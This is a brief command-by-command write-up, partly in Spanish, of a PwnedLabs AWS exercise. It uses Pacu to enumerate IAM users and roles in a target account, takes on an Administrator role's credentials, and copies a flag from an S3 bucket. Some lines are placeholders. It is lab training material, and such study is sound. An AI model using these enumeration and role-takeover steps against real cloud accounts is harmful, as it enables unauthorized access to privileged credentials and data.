Unauthenticated AWS IAM Principals Enumeration

Unauthenticated AWS IAM Principals Enumeration


Azure PwnedLabs

cat policy.json

ssh_command.

aws iam update-assume-role-policy --role-name IAMEnum --policy-document file://policy.json

python -m json.tool. policy.json

ssh_command.

pacu

Nombre mi sesion plabs

set_keys

Metemos las credenciales que nos dieron.

ssh_command.

run iam__enum_users --role-name IAMEnum --account-id 104506445608

Vemos la lista de usuarios

ssh_command.

run iam__enum_roles --role-name IAMEnum --account-id 104506445608

Vemos la lista de roles. Podemos ver que tienen un rol de Administrador.

ssh_command.

Metemos la informacion como el accesskeyid,secret y token en aws.

vim ~/.aws/credentials

aws sts get-caller-identity

Verificamos que somos Admin.

ssh_command.

aws iam get-role --role-name Administrator

ssh_command.

Tenemos acceso a un bucket it-admin-hl.

aws s3 ls it-admin-hl

aws s3 cp s3://it-admin-hl/flag.txt

bc flag.txt

ssh_command.

© 2026 Cu3rv0x